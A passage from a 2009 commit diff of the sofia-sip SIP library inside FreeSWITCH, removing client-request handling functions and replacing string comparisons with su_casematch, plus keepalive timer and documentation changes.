-    error = nua_client_response(cr, NUA_ERROR_AT(__FILE__, __LINE__), NULL);
-
-  assert(error > 0);
-  return error;
-}
-
-/**Send a request message.
- *
- * @retval 0 if request is pending
- * @retval >=1 if error event has been sent
- * @retval -1 if error occurred but event has not been sent,
-               and @a msg has not been destroyed
- * @retval -2 if error occurred, event has not been sent,
- *            but @a msg has been destroyed
- */
-static
-int nua_client_request_sendmsg(nua_client_request_t *cr, msg_t *msg, sip_t *sip)
-{
-  nua_handle_t *nh = cr->cr_owner;
-  nua_dialog_state_t *ds = nh->nh_ds;
-  sip_method_t method = cr->cr_method;
-  char const *name = cr->cr_method_name;
-  url_string_t const *url = (url_string_t *)cr->cr_target;
-  nta_leg_t *leg;
-
-  assert(cr->cr_orq == NULL);
-
-  cr->cr_retry_count++;
-
-  if (ds->ds_leg)
-    leg = ds->ds_leg;
-  else
-    leg = nh->nh_nua->nua_dhandle->nh_ds->ds_leg; /* Default leg */
-
-  if (nua_dialog_is_established(ds)) {
-    while (sip->sip_route)
-      sip_route_remove(msg, sip);
-  }
-  else if (!ds->ds_route) {
-    sip_route_t *initial_route = NH_PGET(nh, initial_route);
-
-    if (initial_route) {
-      initial_route = sip_route_dup(msg_home(msg), initial_route);
-      if (!initial_route) return -1;
-      msg_header_prepend(msg, (msg_pub_t*)sip,
-			 /* This should be
-			    (msg_header_t **)&sip->sip_route
-			  * but directly casting pointer &sip->sip_route gives
-			  * spurious type-punning warning */
-			 (msg_header_t **)((char *)sip + offsetof(sip_t, sip_route)),
-			 (msg_header_t *)initial_route);
-    }
-  }
-
-
-  /**
-   * For in-dialog requests, the request URI is taken from the @Contact
-   * header received from the remote party during dialog establishment,
-   * and the NUTAG_URL() is ignored.
-   *
-   * Also, the @CallID and @CSeq headers and @From and @To tags are
-   * generated based on the dialog information and added to the request.
-   * If the dialog has a route, it is added to the request, too.
-   */
-  if (nta_msg_request_complete(msg, leg, method, name, url) < 0)
-    return -1;
-
-  /**@MaxForwards header (with default value set by NTATAG_MAX_FORWARDS()) is
-   * also added now, if it does not exist.
-   */
-
-  if (!ds->ds_remote)
-    ds->ds_remote = sip_to_dup(nh->nh_home, sip->sip_to);
-  if (!ds->ds_local)
-    ds->ds_local = sip_from_dup(nh->nh_home, sip->sip_from);
-
-  /**
-   * Next, values previously set with nua_set_params() or nua_set_hparams()
-   * are used: @Allow, @Supported, @Organization, @UserAgent and
-   * @AllowEvents headers are added to the request if they are not already
-   * set.
-   */
-  if (!sip->sip_allow)
-    sip_add_dup(msg, sip, (sip_header_t*)NH_PGET(nh, allow));
-
-  if (!sip->sip_supported && NH_PGET(nh, supported))
-    sip_add_dup(msg, sip, (sip_header_t *)NH_PGET(nh, supported));
-
-  if (method == sip_method_register && NH_PGET(nh, path_enable) &&
-      !sip_has_feature(sip->sip_supported, "path") &&
-      !sip_has_feature(sip->sip_require, "path"))
-    sip_add_make(msg, sip, sip_supported_class, "path");
-
-  if (!sip->sip_organization && NH_PGET(nh, organization))
-    sip_add_make(msg, sip, sip_organization_class, NH_PGET(nh, organization));
-
-  if (!sip->sip_user_agent && NH_PGET(nh, user_agent))
-    sip_add_make(msg, sip, sip_user_agent_class, NH_PGET(nh, user_agent));
-
-  /** Any node implementing one or more event packages SHOULD include an
-   * appropriate @AllowEvents header indicating all supported events in
-   * all methods which initiate dialogs and their responses (such as
-   * INVITE) and OPTIONS responses.
-   */
-  if (!sip->sip_allow_events &&
-      NH_PGET(nh, allow_events) &&
-      (method == sip_method_notify || /* Always in NOTIFY */
-       (!ds->ds_remote_tag &&	      /* And in initial requests */
-	(method == sip_method_subscribe || method == sip_method_refer ||
-	 method == sip_method_options ||
-	 method == sip_method_invite))))
-    sip_add_dup(msg, sip, (void *)NH_PGET(nh, allow_events));
-
-  /**
-   * Next, the stack generates a @Contact header for the request (unless
-   * the application already gave a @Contact header or it does not want to
-   * use @Contact and indicates that by including SIPTAG_CONTACT(NULL) or
-   * SIPTAG_CONTACT(SIP_NONE) in the tagged parameters.) If the
-   * application has registered the URI in @From header, the @Contact
-   * header used with registration is used. Otherwise, the @Contact header
-   * is generated from the local IP address and port number.
-   */
-
-  /**For the initial requests, @ServiceRoute set that was received from the
-   * registrar is also added to the request message.
-   */
-  if (cr->cr_method != sip_method_register) {
-    if (cr->cr_contactize && cr->cr_has_contact) {
-      sip_contact_t *ltarget = sip_contact_dup(nh->nh_home, sip->sip_contact);
-      if (ds->ds_ltarget)
-	msg_header_free(nh->nh_home, (msg_header_t *)ds->ds_ltarget);
-      ds->ds_ltarget = ltarget;
-    }
-
-    if (ds->ds_ltarget && !cr->cr_has_contact)
-      sip_add_dup(msg, sip, (sip_header_t *)ds->ds_ltarget);
-
-    if (nua_registration_add_contact_to_request(nh, msg, sip,
-						cr->cr_contactize &&
-						!cr->cr_has_contact &&
-						!ds->ds_ltarget,
-						!ds->ds_route) < 0)
-      return -1;
-  }
-
-  cr->cr_wait_for_cred = 0;
-
-  if (cr->cr_methods->crm_send)
-    return cr->cr_methods->crm_send(cr, msg, sip, NULL);
-
-  return nua_base_client_request(cr, msg, sip, NULL);
-}
-
-/**Add tags to request message and send it,
- *
- * @retval 0 success
- * @retval -1 if error occurred, but event has not been sent
- * @retval -2 if error occurred, event has not been sent,
- *            and @a msg has been destroyed
- * @retval >=1 if error event has been sent
- */
-int nua_base_client_trequest(nua_client_request_t *cr,
-			     msg_t *msg, sip_t *sip,
-			     tag_type_t tag, tag_value_t value, ...)
-{
-  int retval;
-  ta_list ta;
-  ta_start(ta, tag, value);
-  retval = nua_base_client_request(cr, msg, sip, ta_args(ta));
-  ta_end(ta);
-  return retval;
-}
-
-/** Send request.
- *
- * @retval 0 success
- * @retval -1 if error occurred, but event has not been sent
- * @retval -2 if error occurred, event has not been sent,
- *            and @a msg has been destroyed
- * @retval >=1 if error event has been sent
- */
-int nua_base_client_request(nua_client_request_t *cr, msg_t *msg, sip_t *sip,
-			    tagi_t const *tags)
-{
-  nua_handle_t *nh = cr->cr_owner;
-  int proxy_is_set = NH_PISSET(nh, proxy);
-  url_string_t * proxy = NH_PGET(nh, proxy);
-
-  if (nh->nh_auth) {
-    if (cr->cr_challenged ||
-	NH_PGET(nh, auth_cache) == nua_auth_cache_dialog) {
-      if (auc_authorize(&nh->nh_auth, msg, sip) < 0)
-	return nua_client_return(cr, 900, "Cannot add credentials", msg);
-    }
-  }
-
-  cr->cr_seq = sip->sip_cseq->cs_seq; /* Save last sequence number */
-
-  assert(cr->cr_orq == NULL);
-
-  cr->cr_orq = nta_outgoing_mcreate(nh->nh_nua->nua_nta,
-				    nua_client_orq_response,
-				    nua_client_request_ref(cr),
-				    NULL,
-				    msg,
-				    TAG_IF(proxy_is_set,
-					   NTATAG_DEFAULT_PROXY(proxy)),
-				    TAG_NEXT(tags));
-
-  if (cr->cr_orq == NULL) {
-    nua_client_request_unref(cr);
-    return -1;
-  }
-
-  return 0;
-}
-
-/** Callback for nta client transaction */
-int nua_client_orq_response(nua_client_request_t *cr,
-			    nta_outgoing_t *orq,
-			    sip_t const *sip)
-{
-  int status;
-  char const *phrase;
-
-  if (sip && sip->sip_status) {
-    status = sip->sip_status->st_status;
-    phrase = sip->sip_status->st_phrase;
-  }
-  else {
-    status = nta_outgoing_status(orq);
-    phrase = "";
-  }
-
-  nua_client_response(cr, status, phrase, sip);
-
-  return 0;
-}
-
-/**Return response to the client request.
- *
- * Return a response generated by the stack. This function is used to return
- * a error response within @a nua_client_methods_t#crm_init or @a
- * nua_client_methods_t#crm_send functions. It takes care of disposing the @a
- * to_be_destroyed that cannot be sent.
- *
- * @retval 0 if response event was preliminary
- * @retval 1 if response event was final
- * @retval 2 if response event destroyed the handle, too.
- */
-int nua_client_return(nua_client_request_t *cr,
-		      int status,
-		      char const *phrase,
-		      msg_t *to_be_destroyed)
-{
-  if (to_be_destroyed)
-    msg_destroy(to_be_destroyed);
-  nua_client_response(cr, status, phrase, NULL);
-  return 1;
-}
-
-/** Process response to the client request.
- *
- * The response can be generated by the stack (@a sip is NULL) or
- * returned by the remote server.
- *
- * @retval 0 if response event was preliminary
- * @retval 1 if response event was final
- * @retval 2 if response event destroyed the handle, too.
- */
-int nua_client_response(nua_client_request_t *cr,
-			int status,
-			char const *phrase,
-			sip_t const *sip)
-{
-  nua_handle_t *nh = cr->cr_owner;
-  nua_dialog_usage_t *du = cr->cr_usage;
-  int retval = 0;
-
-  if (cr->cr_restarting)
-    return 0;
-
-  nua_client_request_ref(cr);
-
-  cr->cr_status = status;
-  cr->cr_phrase = phrase;
-
-  if (status < 200) {
-    /* Xyzzy */
-  }
-  else if (sip && nua_client_check_restart(cr, status, phrase, sip)) {
-    nua_client_request_unref(cr);
-    return 0;
-  }
-  else if (status < 300) {
-    if (cr->cr_terminating) {
-      cr->cr_terminated = 1;
-    }
-    else {
-      if (sip) {
-	if (cr->cr_contactize)
-	  nua_dialog_uac_route(nh, nh->nh_ds, sip, 1);
-	nua_dialog_store_peer_info(nh, nh->nh_ds, sip);
-      }
-
-      if (du && du->du_cr == cr)
-	du->du_ready = 1;
-    }
-  }
-  else {
-    sip_method_t method = cr->cr_method;
-    int terminated, graceful = 1;
-
-    if (status < 700)
-      terminated = sip_response_terminates_dialog(status, method, &graceful);
-    else
-      /* XXX - terminate usage by all internal error responses */
-      terminated = 0, graceful = 1;
-
-    if (terminated < 0)
-      cr->cr_terminated = terminated;
-    else if (cr->cr_terminating || terminated)
-      cr->cr_terminated = 1;
-    else if (graceful)
-      cr->cr_graceful = 1;
-  }
-
-  if (status < 200) {
-    if (cr->cr_methods->crm_preliminary)
-      cr->cr_methods->crm_preliminary(cr, status, phrase, sip);
-    else
-      nua_base_client_response(cr, status, phrase, sip, NULL);
-    cr->cr_phrase = NULL;
-  }
-  else {
-    if (cr->cr_methods->crm_recv)
-      retval = cr->cr_methods->crm_recv(cr, status, phrase, sip);
-    else
-      retval = nua_base_client_response(cr, status, phrase, sip, NULL);
-  }
-
-  nua_client_request_unref(cr);
-
-  return retval;
-}
-
-/** Check if request should be restarted.
- *
- * @retval 1 if restarted or waiting for restart
- * @retval 0 otherwise
- */
-int nua_client_check_restart(nua_client_request_t *cr,
-			     int status,
-			     char const *phrase,
-			     sip_t const *sip)
-{
-  nua_handle_t *nh;
-
-  assert(cr && status >= 200 && phrase && sip);
-
-  nh = cr->cr_owner;
-
-  if (cr->cr_retry_count > NH_PGET(nh, retry_count))
-    return 0;
-
-  if (cr->cr_methods->crm_check_restart)
-    return cr->cr_methods->crm_check_restart(cr, status, phrase, sip);
-  else
-    return nua_base_client_check_restart(cr, status, phrase, sip);
-}
-
-int nua_base_client_check_restart(nua_client_request_t *cr,
-				  int status,
-				  char const *phrase,
-				  sip_t const *sip)
-{
-  nua_handle_t *nh = cr->cr_owner;
-  nta_outgoing_t *orq;
-
-  if (status == 302 || status == 305) {
-    sip_route_t r[1];
-
-    if (!can_redirect(sip->sip_contact, cr->cr_method))
-      return 0;
-
-    switch (status) {
-    case 302:
-      if (nua_dialog_zap(nh, nh->nh_ds) == 0 &&
-	  nua_client_set_target(cr, sip->sip_contact->m_url) >= 0)
-	return nua_client_restart(cr, 100, "Redirected");
-      break;
-
-    case 305:
-      sip_route_init(r);
-      *r->r_url = *sip->sip_contact->m_url;
-      if (nua_dialog_zap(nh, nh->nh_ds) == 0 &&
-	  sip_add_dup(cr->cr_msg, cr->cr_sip, (sip_header_t *)r) >= 0)
-	return nua_client_restart(cr, 100, "Redirected via a proxy");
-      break;
-
-    default:
-      break;
-    }
-  }
-
-
-  if (status == 423) {
-    unsigned my_expires = 0;
-
-    if (cr->cr_sip->sip_expires)
-      my_expires = cr->cr_sip->sip_expires->ex_delta;
-
-    if (sip->sip_min_expires &&
-	sip->sip_min_expires->me_delta > my_expires) {
-      sip_expires_t ex[1];
-      sip_expires_init(ex);
-      ex->ex_delta = sip->sip_min_expires->me_delta;
-
-      if (sip_add_dup(cr->cr_msg, NULL, (sip_header_t *)ex) < 0)
-	return 0;
-
-      return nua_client_restart(cr, 100, "Re-Negotiating Expiration");
-    }
-  }
-
-  if ((status == 401 && sip->sip_www_authenticate) ||
-      (status == 407 && sip->sip_proxy_authenticate)) {
-    int server = 0, proxy = 0;
-
-    if (sip->sip_www_authenticate)
-      server = auc_challenge(&nh->nh_auth, nh->nh_home,
-			     sip->sip_www_authenticate,
-			     sip_authorization_class);
-
-    if (sip->sip_proxy_authenticate)
-      proxy = auc_challenge(&nh->nh_auth, nh->nh_home,
-			    sip->sip_proxy_authenticate,
-			    sip_proxy_authorization_class);
-
-    if (server >= 0 && proxy >= 0) {
-      int invalid = cr->cr_challenged && server + proxy == 0;
-
-      cr->cr_challenged = 1;
-
-      if (invalid) {
-	/* Bad username/password */
-	SU_DEBUG_7(("nua(%p): bad credentials, clearing them\n", (void *)nh));
-	auc_clear_credentials(&nh->nh_auth, NULL, NULL);
-      }
-      else if (auc_has_authorization(&nh->nh_auth))
-	return nua_client_restart(cr, 100, "Request Authorized by Cache");
-
-      orq = cr->cr_orq, cr->cr_orq = NULL;
-
-      cr->cr_waiting = cr->cr_wait_for_cred = 1;
-      nua_client_report(cr, status, phrase, NULL, orq, NULL);
-      nta_outgoing_destroy(orq);
-      cr->cr_status = 0, cr->cr_phrase = NULL;
-      nua_client_request_unref(cr);
-
-      return 1;
-    }
-  }
-
-  if (500 <= status && status < 600 &&
-      sip->sip_retry_after &&
-      sip->sip_retry_after->af_delta < 32) {
-    su_timer_t *timer;
-    char phrase[18];		/* Retry After XXXX\0 */
-
-    timer = su_timer_create(su_root_task(nh->nh_nua->nua_root), 0);
-
-    if (su_timer_set_interval(timer, nua_client_restart_after, cr,
-			      sip->sip_retry_after->af_delta * 1000) < 0) {
-      su_timer_destroy(timer);
-      return 0; /* Too bad */
-    }
-
-    cr->cr_timer = timer;	/* This takes over reference from orq */
-
-    snprintf(phrase, sizeof phrase, "Retry After %u",
-	     (unsigned)sip->sip_retry_after->af_delta);
-
-    orq = cr->cr_orq, cr->cr_orq = NULL;
-    cr->cr_waiting = 1;
-    nua_client_report(cr, 100, phrase, NULL, orq, NULL);
-    nta_outgoing_destroy(orq);
-    cr->cr_status = 0, cr->cr_phrase = NULL;
-    return 1;
-  }
-
-  return 0;  /* This was a final response that cannot be restarted. */
-}
-
-/** Request restarted by timer */
-static
-void nua_client_restart_after(su_root_magic_t *magic,
-			      su_timer_t *timer,
-			      nua_client_request_t *cr)
-{
-  cr->cr_waiting = 0;
-  su_timer_destroy(cr->cr_timer), cr->cr_timer = NULL;
-  nua_client_restart_request(cr, cr->cr_terminating, NULL);
-  nua_client_request_unref(cr);
-}
-
-/** Restart request.
- *
- * @retval 1 if restarted
- * @retval 0 otherwise
- */
-int nua_client_restart(nua_client_request_t *cr,
-		       int status, char const *phrase)
-{
-  nua_handle_t *nh = cr->cr_owner;
-  nua_dialog_state_t *ds = nh->nh_ds;
-  nta_outgoing_t *orq;
-  int error = -1, terminated, graceful;
-  msg_t *msg = NULL;
-  sip_t *sip = NULL;
-
-  if (cr->cr_retry_count > NH_PGET(nh, retry_count))
-    return 0;
-
-  orq = cr->cr_orq, cr->cr_orq = NULL;  assert(orq);
-  terminated = cr->cr_terminated, cr->cr_terminated = 0;
-  graceful = cr->cr_graceful, cr->cr_graceful = 0;
-  cr->cr_offer_sent = cr->cr_answer_recv = 0;
-  cr->cr_offer_recv = cr->cr_answer_sent = 0;
-
-  if (!ds->ds_leg && cr->cr_dialog) {
-    sip_t const *sip = cr->cr_sip;
-    ds->ds_leg = nta_leg_tcreate(nh->nh_nua->nua_nta,
-				 nua_stack_process_request, nh,
-				 SIPTAG_CALL_ID(sip->sip_call_id),
-				 SIPTAG_FROM(sip->sip_from),
-				 SIPTAG_TO(sip->sip_to),
-				 SIPTAG_CSEQ(sip->sip_cseq),
-				 TAG_END());
-  }
-
-  if (ds->ds_leg || !cr->cr_dialog) {
-    msg = msg_copy(cr->cr_msg);
-    sip = sip_object(msg);
-  }
-
-  if (msg && sip) {
-    cr->cr_restarting = 1;
-    error = nua_client_request_sendmsg(cr, msg, sip);
-    cr->cr_restarting = 0;
-    if (error !=0 && error != -2)
-      msg_destroy(msg);
-  }
-
-  if (error) {
-    cr->cr_graceful = graceful;
-    cr->cr_terminated = terminated;
-    assert(cr->cr_orq == NULL);
-    cr->cr_orq = orq;
-    return 0;
-  }
-
-  nua_client_report(cr, status, phrase, NULL, orq, NULL);
-
-  nta_outgoing_destroy(orq);
-  nua_client_request_unref(cr);	/* ... reference used by old orq */
-
-  return 1;
-}
-
-int nua_client_set_target(nua_client_request_t *cr, url_t const *target)
-{
-  url_t *new_target, *old_target = cr->cr_target;
-
-  if (!target || target == old_target)
-    return 0;
-
-  new_target = url_hdup(cr->cr_owner->nh_home, (url_t *)target);
-  if (!new_target)
-    return -1;
-  cr->cr_target = new_target;
-  if (old_target)
-    su_free(cr->cr_owner->nh_home, old_target);
-
-  return 0;
-}
-
-/**@internal
- * Relay response event to the application.
- *
- * @todo
- * If handle has already been marked as destroyed by nua_handle_destroy(),
- * release the handle with nh_destroy().
- *
- * @retval 0 if event was preliminary
- * @retval 1 if event was final
- * @retval 2 if event destroyed the handle, too.
- */
-int nua_base_client_tresponse(nua_client_request_t *cr,
-			      int status, char const *phrase,
-			      sip_t const *sip,
-			      tag_type_t tag, tag_value_t value, ...)
-{
-  ta_list ta;
-  int retval;
-
-  if (cr->cr_event == nua_r_destroy)
-    return nua_base_client_response(cr, status, phrase, sip, NULL);
-
-  ta_start(ta, tag, value);
-  retval = nua_base_client_response(cr, status, phrase, sip, ta_args(ta));
-  ta_end(ta);
-
-  return retval;
-}
-
-/**@internal
- * Relay response event to the application.
- *
- * @todo
- * If handle has already been marked as destroyed by nua_handle_destroy(),
- * release the handle with nh_destroy().
- *
- * @retval 0 if event was preliminary
- * @retval 1 if event was final
- * @retval 2 if event destroyed the handle, too.
- */
-int nua_base_client_response(nua_client_request_t *cr,
-			     int status, char const *phrase,
-			     sip_t const *sip,
-			     tagi_t const *tags)
-{
-  nua_handle_t *nh = cr->cr_owner;
-  sip_method_t method = cr->cr_method;
-  nua_dialog_usage_t *du;
-
-  cr->cr_reporting = 1, nh->nh_ds->ds_reporting = 1;
-
-  if (nh->nh_auth && sip &&
-      (sip->sip_authentication_info || sip->sip_proxy_authentication_info)) {
-    /* Collect nextnonce */
-    if (sip->sip_authentication_info)
-      auc_info(&nh->nh_auth,
-	       sip->sip_authentication_info,
-	       sip_authorization_class);
-    if (sip->sip_proxy_authentication_info)
-      auc_info(&nh->nh_auth,
-	       sip->sip_proxy_authentication_info,
-	       sip_proxy_authorization_class);
-  }
-
-  if ((method != sip_method_invite && status >= 200) || status >= 300)
-    nua_client_request_remove(cr);
-
-  nua_client_report(cr, status, phrase, sip, cr->cr_orq, tags);
-
-  if (status < 200 ||
-      /* Un-ACKed 2XX response to INVITE */
-      (method == sip_method_invite && status < 300 && !cr->cr_acked)) {
-    cr->cr_reporting = 0, nh->nh_ds->ds_reporting = 0;
-    return 1;
-  }
-
-  nua_client_request_clean(cr);
-
-  du = cr->cr_usage;
-
-  if (cr->cr_terminated < 0) {
-    /* XXX - dialog has been terminated */;
-    nua_dialog_deinit(nh, nh->nh_ds), cr->cr_usage = NULL;
-  }
-  else if (du) {
-    if (cr->cr_terminated ||
-	(!du->du_ready && status >= 300 && nua_client_is_bound(cr))) {
-      /* Usage has been destroyed */
-      nua_dialog_usage_remove(nh, nh->nh_ds, du, cr, NULL), cr->cr_usage = NULL;
-    }
-    else if (cr->cr_graceful) {
-      /* Terminate usage gracefully */
-      if (nua_dialog_usage_shutdown(nh, nh->nh_ds, du) > 0)
-	cr->cr_usage = NULL;
-    }
-  }
-  else if (cr->cr_terminated) {
-    if (nh->nh_ds->ds_usage == NULL)
-      nua_dialog_remove(nh, nh->nh_ds, NULL), cr->cr_usage = NULL;
-  }
-
-  cr->cr_phrase = NULL;
-  cr->cr_reporting = 0, nh->nh_ds->ds_reporting = 0;
-
-  if (method == sip_method_cancel)
-    return 1;
-
-  return nua_client_next_request(nh->nh_ds->ds_cr, method == sip_method_invite);
-}
-
-/** Send event, zap transaction but leave cr in list */
-int nua_client_report(nua_client_request_t *cr,
-		      int status, char const *phrase,
-		      sip_t const *sip,
-		      nta_outgoing_t *orq,
-		      tagi_t const *tags)
-{
-  nua_handle_t *nh;
-
-  if (cr->cr_event == nua_r_destroy)
-    return 1;
-
-  if (cr->cr_methods->crm_report)
-    return cr->cr_methods->crm_report(cr, status, phrase, sip, orq, tags);
-
-  nh = cr->cr_owner;
-
-  nua_stack_event(nh->nh_nua, nh,
-		  nta_outgoing_getresponse(orq),
-		  cr->cr_event,
-		  status, phrase,
-		  tags);
-  return 1;
-}
-
-int nua_client_treport(nua_client_request_t *cr,
-		       int status, char const *phrase,
-		       sip_t const *sip,
-		       nta_outgoing_t *orq,
-		       tag_type_t tag, tag_value_t value, ...)
-{
-  int retval;
-  ta_list ta;
-  ta_start(ta, tag, value);
-  retval = nua_client_report(cr, status, phrase, sip, orq, ta_args(ta));
-  ta_end(ta);
-  return retval;
-}
-
-int nua_client_next_request(nua_client_request_t *cr, int invite)
-{
-  for (; cr; cr = cr->cr_next) {
-    if (cr->cr_method == sip_method_cancel)
-      continue;
-
-    if (invite
-	? cr->cr_method == sip_method_invite
-	: cr->cr_method != sip_method_invite)
-      break;
-  }
-
-  if (cr && cr->cr_orq == NULL) {
-    nua_client_init_request(cr);
-  }
-
-  return 1;
-}
-
-nua_client_request_t *
-nua_client_request_pending(nua_client_request_t const *cr)
-{
-  for (;cr;cr = cr->cr_next)
-    if (cr->cr_orq)
-      return (nua_client_request_t *)cr;
-
-  return NULL;
-}

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_stack.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_stack.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_stack.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -77,6 +77,12 @@
 
 typedef struct event_s event_t, nua_signal_data_t;
 
+/** Extended event data. */
+typedef struct nua_ee_data {
+  nua_t *ee_nua;
+  nua_event_data_t ee_data[1];
+} nua_ee_data_t;
+
 #define       NONE ((void *)-1)
 
 typedef struct register_usage nua_registration_t;

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_subnotref.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_subnotref.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_subnotref.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -44,7 +44,7 @@
 
 #include <assert.h>
 
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/sip_protos.h>
 #include <sofia-sip/sip_status.h>
 #include <sofia-sip/sip_extra.h>
@@ -547,7 +547,8 @@
 
     /* Check for forked subscription. */
     if (ds->ds_remote_tag && ds->ds_remote_tag[0] &&
-	str0cmp(ds->ds_remote_tag, sr->sr_request.sip->sip_from->a_tag)) {
+	su_strcasecmp(ds->ds_remote_tag,
+		      sr->sr_request.sip->sip_from->a_tag)) {
       sip_contact_t const *m = NULL;
 
       m = nua_stack_get_contact(sr->sr_owner->nh_nua->nua_registrations);
@@ -611,18 +612,18 @@
     else
       substate = nua_substate_active, what = "active";
   }
-  else if (strcasecmp(subs->ss_substate, what = "terminated") == 0) {
+  else if (su_casematch(subs->ss_substate, what = "terminated")) {
     substate = nua_substate_terminated;
     reason = subs->ss_reason;
 
-    if (str0casecmp(reason, "deactivated") == 0 ||
-	str0casecmp(reason, "probation") == 0)
+    if (su_casematch(reason, "deactivated") ||
+	su_casematch(reason, "probation"))
       substate = nua_substate_embryonic;
   }
-  else if (strcasecmp(subs->ss_substate, what = "pending") == 0) {
+  else if (su_casematch(subs->ss_substate, what = "pending")) {
     substate = nua_substate_pending;
   }
-  else /* if (strcasecmp(subs->ss_substate, what = "active") == 0) */ {
+  else /* if (su_casematch(subs->ss_substate, what = "active")) */ {
     /* Any extended state is considered as active */
     what = subs->ss_substate;
     substate = nua_substate_active;
@@ -670,10 +671,10 @@
     }
     else if (substate == nua_substate_embryonic) {
       if (subs && subs->ss_reason) {
-	if (str0casecmp(subs->ss_reason, "deactivated") == 0) {
+	if (su_casematch(subs->ss_reason, "deactivated")) {
 	  retry = 0;		/* retry immediately */
 	}
-	else if (str0casecmp(subs->ss_reason, "probation") == 0) {
+	else if (su_casematch(subs->ss_reason, "probation")) {
 	  retry = 30;
 	  if (subs->ss_retry_after)
 	    retry = strtoul(subs->ss_retry_after, NULL, 10);
@@ -887,7 +888,7 @@
   if (!error) {
     /* Give application an Event header for matching NOTIFYs with REFER */
     nua_stack_tevent(nh->nh_nua, nh, NULL,
-		     cr->cr_event, SIP_100_TRYING,
+		     (enum nua_event_e)cr->cr_event, SIP_100_TRYING,
 		     NUTAG_REFER_EVENT(event),
 		     SIPTAG_EVENT(event),
 		     TAG_END());
@@ -913,7 +914,7 @@
     else if (status < 300) {
       sip_refer_sub_t const *rs = sip_refer_sub(sip);
 
-      if (rs && strcasecmp("false", rs->rs_value) == 0)
+      if (rs && su_casematch("false", rs->rs_value))
 	cr->cr_terminated = 1;
 
       if (!cr->cr_terminated)

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_tag.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_tag.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_tag.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1152,6 +1152,8 @@
  * @sa #nua_r_update, NUTAG_SESSION_TIMER(), NUTAG_MIN_SE_REF(),
  * NUTAG_SESSION_REFRESHER(), NUTAG_UPDATE_REFRESH(), @RFC4028,
  * @SessionExpires, @MinSE
+ *
+ * @NEW_1_12_10
  */
 tag_typedef_t nutag_refresh_without_sdp = BOOLTAG_TYPEDEF(refresh_without_sdp);
 
@@ -1317,6 +1319,12 @@
  *
  * Default value is NUTAG_AUTOACK(1).
  *
+ * @par Auto ACK with Re-INVITE requests
+ * By default, NUA tries to auto-ACK the final response to re-INVITE used to
+ * refresh the session when the media is enabled. Set NUTAG_AUTOACK(0) on
+ * the call handle (e.g., include the tag with nua_invite() or
+ * nua_respond()) in order to disable the auto ACK with re-INVITE.
+ *
  * Corresponding tag taking reference parameter is NUTAG_AUTOACK_REF().
  */
 tag_typedef_t nutag_autoack = BOOLTAG_TYPEDEF(autoACK);

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/outbound.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/outbound.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/outbound.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -216,6 +216,8 @@
 	su_sprintf(ob->ob_home, "+sip.instance=\"<%s>\"", instance);
     ob->ob_reg_id = 0;
 
+    outbound_peer_info(ob, NULL);
+
     /* Generate a random cookie (used as Call-ID) for us */
     su_md5_init(md5);
     su_guid_generate(guid);
@@ -261,7 +263,7 @@
   prefs->interval = interval;
   prefs->stream_interval = stream_interval;
 
-#define MATCH(v) (len == sizeof(#v) - 1 && strncasecmp(#v, s, len) == 0)
+#define MATCH(v) (len == sizeof(#v) - 1 && su_casenmatch(#v, s, len))
 
   if (options) {
     for (s = options; s[0]; s++) if (s[0] == '-') s[0] = '_';
@@ -278,9 +280,9 @@
     size_t len = span_token(s);
     int value = 1;
 
-    if (len > 3 && strncasecmp(s, "no_", 3) == 0)
+    if (len > 3 && su_casenmatch(s, "no_", 3))
       value = 0, s += 3, len -= 3;
-    else if (len > 4 && strncasecmp(s, "not_", 4) == 0)
+    else if (len > 4 && su_casenmatch(s, "not_", 4))
       value = 0, s += 4, len -= 4;
 
     if (len == 0)
@@ -307,13 +309,12 @@
   }
 
   invalid = s && s[0];
-  su_free(NULL, options);
-
-  if (invalid) {
+  if (invalid)
     SU_DEBUG_1(("outbound(%p): invalid options \"%s\"\n",
 		(void *)ob->ob_owner, options));
+  su_free(NULL, options);
+  if (invalid)
     return -1;
-  }
 
   if (prefs->natify &&
       !(prefs->outbound ||
@@ -525,7 +526,7 @@
   nat_port = ob->ob_nat_port;
 
   if (nat_detected && host_cmp(received, nat_detected) == 0) {
-    if (nat_port && strcasecmp(rport, nat_port) == 0)
+    if (nat_port && su_casematch(rport, nat_port))
       return 1;
     if (!v->v_rport || !v->v_rport[0])
       return 1;
@@ -682,10 +683,20 @@
   if (ob->ob_keepalive.timer)
     su_timer_destroy(ob->ob_keepalive.timer), ob->ob_keepalive.timer = NULL;
 
-  if (interval)
+  if (interval) {
+    su_duration_t max_defer;
+
+    max_defer = su_root_get_max_defer(ob->ob_root);
+    if ((su_duration_t)interval >= max_defer) {
+      interval -= max_defer - 100;
+    }
+
     ob->ob_keepalive.timer =
       su_timer_create(su_root_task(ob->ob_root), interval);
 
+    su_timer_deferrable(ob->ob_keepalive.timer, 1);
+  }
+
   ob->ob_keepalive.interval = interval;
 
   if (!ob->ob_validated && ob->ob_keepalive.sipstun
@@ -1028,7 +1039,7 @@
     sip->sip_request->rq_method == sip_method_options &&
     sip->sip_accept &&
     sip->sip_accept->ac_type &&
-    strcasecmp(sip->sip_accept->ac_type, outbound_content_type) == 0;
